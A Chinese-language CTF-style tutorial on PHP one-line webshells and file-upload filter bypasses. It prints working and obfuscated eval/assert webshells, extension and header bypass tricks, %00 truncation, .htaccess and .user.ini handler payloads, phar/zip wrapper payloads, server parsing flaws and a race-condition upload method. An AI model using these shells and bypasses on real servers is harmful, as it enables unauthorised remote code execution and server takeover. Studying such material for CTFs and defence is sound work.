0x00参考文章
https://www.cnblogs.com/wangtanzhi/p/12243206.html
https://xz.aliyun.com/t/2435
https://blog.csdn.net/momo_sleet/article/details/82497520

0x01 什么是一句话木马

<?php @eval($_POST['hacker']); ?>

如上就是一句一句话木马,eval函数可以使php将post进去的内容当做代码处理
如果网站在用户上传文件时没有进行类型的过滤,使用户可以上传php文件,就可以通过上传脚本并从url访问的方式来连接到木马进而让网站后台执行你的恶意代码。

0x02 如何通过一句话木马执行命令
其实,不用你写
只需要将它<?php @eval($_POST['hacker']); ?>传到服务器,然后用菜刀或者蚁剑连接你上传的脚本,菜刀/蚁剑就会自动向服务器post相应的代码,让你得到访问服务器的权限,并可以下载和上传文件到服务器
0x03 eval函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
在这里插入图片描述
0x04漏洞条件
文件可上传
知道文件上传的路径
上传文件可以被访问
上传文件可以被执行
或者可以直接把代码写入服务器的php文件中

0x05一些简单绕过
1.前端可能通过javascript函数设置允许上传的文件类型
在这里插入图片描述
如碰到这种验证,你不需要懂他的代码逻辑,你只要知道,他是检测你文件上传的类型的,并且是js
只要js就可以在前端把它无效化
在这里插入图片描述
这里可以看到js函数的作用位置,直接把它调用函数的地方删掉,自然不会验证了
修改后为:

在这里插入图片描述

2.后端php检测文件后缀和content-type或文件头
上传php文件,然后bp抓包,可以将后缀改成.jpg,content-type改成别的,添加文件头
关于文件头建议自己去看,这里推荐一篇博客
https://blog.csdn.net/qq_40574571/article/details/80150157
一个修改的例子
在这里插入图片描述
注意上图中加的图片头为GIF89A,对应的文件后缀应为.gif,图中.jpg对应的应该是别的头,这里只是为了举个例子,不要深究

贴几个一般题目中过滤用到的代码
检测content-type
在这里插入图片描述
检测后缀
在这里插入图片描述
一般绕过后缀检测为方法很多,如果大小写不敏感的检测代码可以通过大小写绕过,如果是直接去除后缀的话,可以通过双写绕过(如.pphphp,用操作字符串的方法删除中间的php留下的还是.php)
如果检测不严格,也可以用.php3.phtml等后缀代替.php后缀

有时也可以用**%00截断**绕过后缀检测

关于00截断:
条件 php版本要小于5.3.4
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,如果filename是以get形式传递,例如
在get请求如 https:/xxxxxx/upfiles/?filename=test.php%00.txt
函数检测后缀时可能只会检测到.txt把它当做txt文件,但当url解析时%00会被当做结束字符,url会默认以为后面没有其他东西了,所以实际传入时把它当做test.php传入服务器
而在post请求时也可以用类似的方法,但比较麻烦,可以通过bp抓包后修改文件内容的十六进制数据完成00截断,具体如图

在这里插入图片描述
此处a约等于上面的.txt,先在上传时把要截断的地方用空格占位,空格对应的十六进制数据为20,再bp抓包,找到那个20的位置改为00即可引发00截断 (bp在这里看十六进制数据)
在这里插入图片描述
关于00截断涉及的漏洞还有很多,建议去自行了解

3.直接对文件内容进行检测
–1.过滤<?php
先尝试大小写能否绕过
不行的话,有些环境可以通过

<scrpit language="php">xxxxxxxx</script>

的方式绕过(但我本地环境测试时并不能解析,应该和语言版本之类的有关,不过做题遇到的话肯定都是有相应漏洞的)

–2.过滤eval函数
一般有几种方法,但思路都差不多

<?php $x=base64_decode("YXNzZXJ0");$x($_POST['si1ence']);?> //base64编码eval,php5.x可用
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php,通过chr等操作字符的函数编码,其实跟上面差不多,没测试过,从别人博客拿来的,了解一下
<?php@preg_replace("/abcde/e", $_POST['a'], "abcdefg");?>//preg_replace的pattern后如果有e参数,会把第二个参数当做代码执行即$_POST['a']

也可用assert函数,用法和eval一样,不过一般要过滤的话都会过滤吧

0x06制作简单的图片马
其实制作图片马用处不大,一般需要验证图片头的题直接在bp中改一下文件内容就行了(参见上面),这个只是觉得有点好玩,说一下而已
制作方法:
在cmd中
copy normal.jpg /b + shell.php /a webshell.jpg

0x07简单例题
[攻防世界]Webshell
进入题目之后显示
在这里插入图片描述
打开中国蚁剑
在这里插入图片描述
右键空白–添加数据–写入url–密码这里他在网页上已经给出了,是shell
在这里插入图片描述
添加后双击,就可以看到服务器的文件列表了在这里插入图片描述
这道题比较简单,题目已经帮你写好了脚本并传上去了,一般的题需要找到文件上传的位置,自己将脚本上传上去,找到上传到的位置然后连接

0x08 .user.ini和.htaccess文件

1…htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
如果上传了.htaccess到服务器,服务器会在解析同目录下的文件时按照其中制定的规则进行
如写入
<FilesMatch "test"> SetHandler application/x-httpd-php </FilesMatch>
并上传
则会将所有名称中有test的文件,当做php文件解析,像test.jpg这种
不过这种方法的局限性在于一定要在Apache配置的服务器下,且系统管理员要给用户修改.htaccess的权限

2…user.ini
在这里插入图片描述
简单来说,如果服务器管理员允许了用户设置.user.ini,用户就可以通过上传这个文件来修改服务器端php的配置,一般经常用到的配置语句有两个
auto_prepend_file=xxx auto_append_file=xxx
这两句配置会将指定的文件xxx包含在index.php中
这样在一些无法得知上传文件存储路径的情况下,只要先后传入.user.ini和xxx,就可以直接蚁剑等连接index.php,进而连接服务器
一道例题
buuoj-[SUCTF]CheckIn

0x09web应用程序漏洞

  1. Apache解析漏洞
    解析:test.php.(任意不属于黑名单且也不属于Apache解析白名单的名称),比如test.php.lala
    描述:一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错

  2. IIS解析漏洞
    解析 :test.asp/(任意文件名)|test.asp;(任意文件名) | (任意文件名)/(任意文件名).php
    描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
    那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;“会优先按asp来解析,IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php"就会按照php的方式去解析;

  3. Nginx解析漏洞
    解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
    描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
    还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
    0x10
    php伪协议phar和zip的使用
    讲马放进zip或phar文件,再把后缀改成png过一些上传图片的验证
    然后这样连接
    phar的payload:?page=phar://var/www/html/assets/img/upload/xxx.png/shell
    zip的payload:?page=zip://var/www/html/assets/img/upload/xxx.png%23shell
    0x11条件竞争
    竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
    开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
    其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。
    例如银行提现问题:
    现有一个用户在系统中共有2000元可以提现,他想全部提现。该用户同时发起两次提现请求,第一次提交请求提现2000元,系统已经创建了提现订单但还未来得及修改该用户剩余金额,此时第二次提现请求同样是提现2000元,于是程序在还未修改完上一次请求后的余额前就进行了余额判断,显然如果这里余额判断速度快于上一次余额修改速度,将会产生成功提现的两次订单,而数据库中余额也将变为-2000。而这产生的后果将会是平台多向该用户付出2000元。

在文件上传时也有类似的漏洞可以利用
如下图源码
在这里插入图片描述
服务器保存上传的文件后会检测扩展名,如果不合法会删除,我们可以通过bp或者构造Python脚本,以多线程的方式在短时间内多次上传,并多次尝试蚁剑连接,如果速度够快,在服务器删除文件前就可以访问到文件,进而getshell

php上传文件时会存到一个tmp目录下的临时文件。这个文件名在可以访问phpinfo的时候是可知的,这时可以通过条件竞争,在服务器删除临时文件之前访问到,进而连接木马,详见2021国赛

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐